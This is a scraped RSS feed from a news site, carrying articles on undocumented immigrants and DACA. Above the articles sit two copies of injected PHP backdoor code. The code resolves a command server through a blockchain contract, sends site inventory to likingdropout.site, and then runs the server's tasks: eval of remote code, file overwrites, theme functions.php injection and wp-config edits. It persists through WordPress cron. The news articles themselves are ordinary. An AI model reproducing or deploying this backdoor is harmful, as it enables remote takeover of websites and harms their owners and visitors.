// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); undocumented – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 31 Mar 2018 02:55:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png undocumented – Brief News https://briefnews.eu 32 32 Federal judge says undocumented teens in US custody must have access to abortion https://briefnews.eu/federal-judge-says-undocumented-teens-in-us-custody-must-have-access-to-abortion/ https://briefnews.eu/federal-judge-says-undocumented-teens-in-us-custody-must-have-access-to-abortion/#respond Sat, 31 Mar 2018 02:55:35 +0000 http://briefnews.eu/federal-judge-says-undocumented-teens-in-us-custody-must-have-access-to-abortion/ ice agentAssociated Press/LM Otero

  • A federal judge issued an injunction that prevents the federal government from interfering with the ability of undocumented teenagers in U.S. custody to have abortions or obtain abortion-related services.
  • The U.S. Department of Health and Human Services previously enacted a policy that prohibited federally funded shelters from taking “any action that facilitates” abortions without approval.
  • The government can appeal.

A federal judge in Washington issued an injunction on Friday preventing the Trump administration from interfering with the ability of undocumented teenagers in U.S. custody to have abortions or obtain abortion-related services.

U.S. District Judge Tanya Chutkan also certified a class action of similar minor children to challenge the administration’s policy.

See the rest of the story at Business Insider

NOW WATCH: Harvard professor Steven Pinker explains the disturbing truth behind Trump’s 2 favorite phrases

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SEE ALSO: Motel 6 locations suspected of tipping off ICE agents of undocumented immigrants in Arizona

]]> https://briefnews.eu/federal-judge-says-undocumented-teens-in-us-custody-must-have-access-to-abortion/feed/ 0 What Mentorship Can Mean to Undocumented Immigrants https://briefnews.eu/what-mentorship-can-mean-to-undocumented-immigrants/ https://briefnews.eu/what-mentorship-can-mean-to-undocumented-immigrants/#respond Wed, 20 Sep 2017 19:18:43 +0000 http://briefnews.eu/what-mentorship-can-mean-to-undocumented-immigrants/ Well before Jose Antonio Vargas became a Pulitzer Prize–winning journalist and filmmaker, he was told he couldn’t get an internship at The Seattle Times because he was an undocumented immigrant. At the time he feared that his immigration status would threaten both his ability to build a career in journalism as well as his ability to stay in the United States. Today, with more experience and better perspective, he helps others navigate concerns like these.

One such mentee is Yosimar Reyes, an artist in residence at Define American, an organization Vargas founded that “uses the power of story to transcend politics and shift the conversation about immigrants.” The two met at a film festival several years ago, at a screening of one of Vargas’s documentaries. Since then, Vargas been a mentor to Reyes, helping him think through how he could attend college and offering him a job at Define American after graduation. The two are now developing, among other projects, a play that Yosimar wrote about growing up queer and undocumented.

For The Atlantic’s series on mentorship, “On the Shoulders of Giants,” I spoke with Reyes about how Vargas has influenced his ideas about citizenship, belonging, and forging a career as an undocumented immigrant—especially now that the future of the Deferred Action for Childhood Arrivals (DACA) program is uncertain. The conversation that follows has been edited for length and clarity.

B.R.J. O’Donnell: How do you and Jose help each other with the frustrations that come with being undocumented?

Yosimar Reyes: Jose has always told me that freedom doesn’t come with papers, freedom does not come with having a Social Security number. He’s always quoting Toni Morrison: “Freedom is in the mind.” Freedom is in knowing that you have the ability to do whatever, despite these obstacles. So I think for me, that kind of mentorship has been really vital. Before I met Jose, I was struggling. It was so hard, and I just didn’t see an end to it.

O’Donnell: Have you and Jose talked at all about what DACA means for you?

Reyes: It’s interesting because when DACA happened, our roles kind of reversed. I remember he was really excited, saying, “Oh my God, now you have something that I don’t have—you have a Social Security number.” And he told me, “You need to use that as much as possible and take advantage of those opportunities.”

O’Donnell: What is missing from public conversations about being undocumented in 2017?

Reyes: It’s important that we talk about Deferred Action for Childhood Arrivals, but at the same time, I want to remind people that DACA is basically me paying the government $ 500 every two years for a work permit, and to pay taxes. It’s not legalization—it’s a crumb. At the end of the day, what I have through DACA is a Social Security number that works temporarily. And though I’m grateful for the people that advocated for it, it’s not a solution.

O’Donnell: When did you first meet Jose?

Reyes: Five years ago, he did this film called The Other City looking at the AIDS epidemic in D.C., and it was showing at Outfest [an LGBT-oriented film festival] in Los Angeles. Jose wasn’t out as undocumented at the time. We met and said hello. Then two years later, I was watching TV, and it’s announced that “Pulitzer Prize–winning journalist Jose Antonio Vargas comes out as undocumented.” And I thought, “Oh my God, that’s the guy I met. He didn’t tell me he was undocumented.” I’m always telling people I was undocumented. Soon after that, I got invited to something at Sundance, and so did Jose, and that’s where we reconnected. He saw me perform, and then out of that, we built a friendship.  

O’Donnell: What made you want Jose to mentor you?

Reyes: I feel like we share similar kinds of backgrounds. I grew up in San Jose; he grew up in Mountain View, which is 20 minutes away. I grew up with my grandmother; he grew up with his grandmother. Oh, and the other thing we have in common—we are both queers, we are “undocuqueer” [laughs]. So I think there were a lot of correlations.

O’Donnell: How has Jose influenced the way you think about your work?

Reyes: His motto is: “You’re ‘a writer that happens to be undocumented’—you are not ‘an undocumented writer.’” My struggle, as an undocumented person, has been that when people tell me to dream big, I always have a sense that there is a glass ceiling, that there are things that are just impossible for me. And for Jose, his outlook is, “No, everything is possible.” I have seen what he has been able to do, and how he interacts with people, and I think that’s such an accomplishment, because when people find out you are undocumented, doors automatically close.

O’Donnell: Can you talk more about how that describes your experience?

Reyes: Because of DACA, I was actually able to return home to Mexico after 25 years. I came to the United States when I was three, so I’ve never really spent time in Mexico. The first person that I texted was Jose. He asked me what it felt like, and I remember telling him it feels good, and I felt honored that I could have that chance to go home, but then I told him, “I don’t want to get excited.” Because at the end of the day, I’m undocumented, and something can always go wrong. And then what happened before the trip? Trump got elected.

O’Donnell: What were your conversations with Jose like after the election?

Reyes: After Trump got elected, Jose went Super Mom. He told me something along the lines of “You’re not going to Mexico, it’s not going to happen, I’m making a decision.” I just kept thinking, “I need to figure out if I can thrive over there, because I’m not going to be undocumented forever. I’m smart, I’m talented, I can make it anywhere.” And I said to Jose, “Ultimately, I have to make that choice.” And that was hard, because we clashed. But then he came back and said, “I want to apologize. It’s your decision to make, and I will support you.” And I ended up going.

O’Donnell: Did the time you spent in Mexico change how you viewed your undocumented status in the U.S.?

Reyes: When I went back to Guerrero, I realized how American I was. I was like, “Jose is right! How does he know these things?” When I came back and told him, he said, “See, I told you.” He just has a sense of these things because I think he’s already been through it, and I think I’m still in the process of unraveling it and figuring it all out.

O’Donnell: What can mentorship do within the undocumented community?

Reyes: At the moment, there is a national platform, and people want to help undocumented people. I tell them, we need mentors. We need people actively sharing skills with people who haven’t had access to those usual paths. Because we are undocumented, they often don’t let us into internships, and they don’t let us in fellowships.

For example, my frustration coming into Define American was that because I’m undocumented, I felt like I had the skill set of a 19-year-old, because I haven’t been able to do certain things. I was just frustrated about it, but Jose told me not to be. He reminded me, “You have the lived experience. That’s sufficient, that’s enough to be a part of what we are doing.” I think that is what mentorship is. Now, I’m out here, making moves.

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]]> https://briefnews.eu/what-mentorship-can-mean-to-undocumented-immigrants/feed/ 0 This Teen Used A Note From Her Mom To Open Up About Being Undocumented And The Responses Are Heartwarming https://briefnews.eu/this-teen-used-a-note-from-her-mom-to-open-up-about-being-undocumented-and-the-responses-are-heartwarming/ https://briefnews.eu/this-teen-used-a-note-from-her-mom-to-open-up-about-being-undocumented-and-the-responses-are-heartwarming/#respond Wed, 06 Sep 2017 09:05:05 +0000 http://briefnews.eu/this-teen-used-a-note-from-her-mom-to-open-up-about-being-undocumented-and-the-responses-are-heartwarming/

The 18-year-old, a freshman at Cal State University Long Beach, was supposed to take her driver’s license test that day and her mom had left her some money to pay the fee, along with a note that said: “Here’s money so you can pay your test, good luck baby. I’m left with my heart broken, they canceled the permit that you have.”

Her mom was referring to the Deferred Action for Childhood Arrivals (DACA), an Obama-era program that has provided temporary protection against deportation to nearly 800,000 undocumented immigrants who came to the United States as children. The Trump administration announced Tuesday that it was rescinding the policy, explaining that it was an abuse of executive power.

“I started crying when I read it,” Martinez told BuzzFeed News. “I know my mom didn’t know what to say to me because when I got accepted it was the biggest deal ever. We’re both shocked and scared.”

Like most DACA recipients, known as DREAMers, Martinez has lived in the United States since she was a kid and has barely any recollection of her life before that. She and her mom moved to Southern California from El Salvador when she was six so she could have better opportunities as an adult.

Martinez started college last week and is taking classes to help her accomplish her goal of becoming an ER nurse.

“My mom handles all my immigration papers and helps me with all these documents so seeing the note and money for my driving test that she helped me prepare for after everything we went through to get here was a lot,” she said.

“I tweeted it first and deleted it because I was afraid,” the teen said. “But then I went through with it.” Her tweet has since gone viral, with many fellow DREAMers saying it really hit home.

Stunned by the massive, mostly positive response, Martinez says peoples’ replies have made her feel less alone, since this is the first time she’s told anyone except her close family (and recently her boyfriend) that she is an undocumented immigrant.

“I had to wear my sunglasses in class because I was crying reading all the responses,” she said. “I always felt isolated because no one really knew that I was different in that way.”

Tania Martinez said it has been difficult watching her 18-year-old process the reality that her future in the US will soon be uncertain.

“My heart as a mother for my daughter is destroyed. There is no harder pain than seeing your daughter cry, saying ‘mom what’s going to happen to me,'” she told BuzzFeed News, explaining how much she admires her daughter for helping put herself through school.

“DACA has been such a blessing for my daughter and for me because right as she turned 15 she started working. Ever since then she has become very independent and managed for herself.”

Although she says she’s “technically fine until next September,” she’s unsure if she will be able to finish her degree in the country in which she grew up.

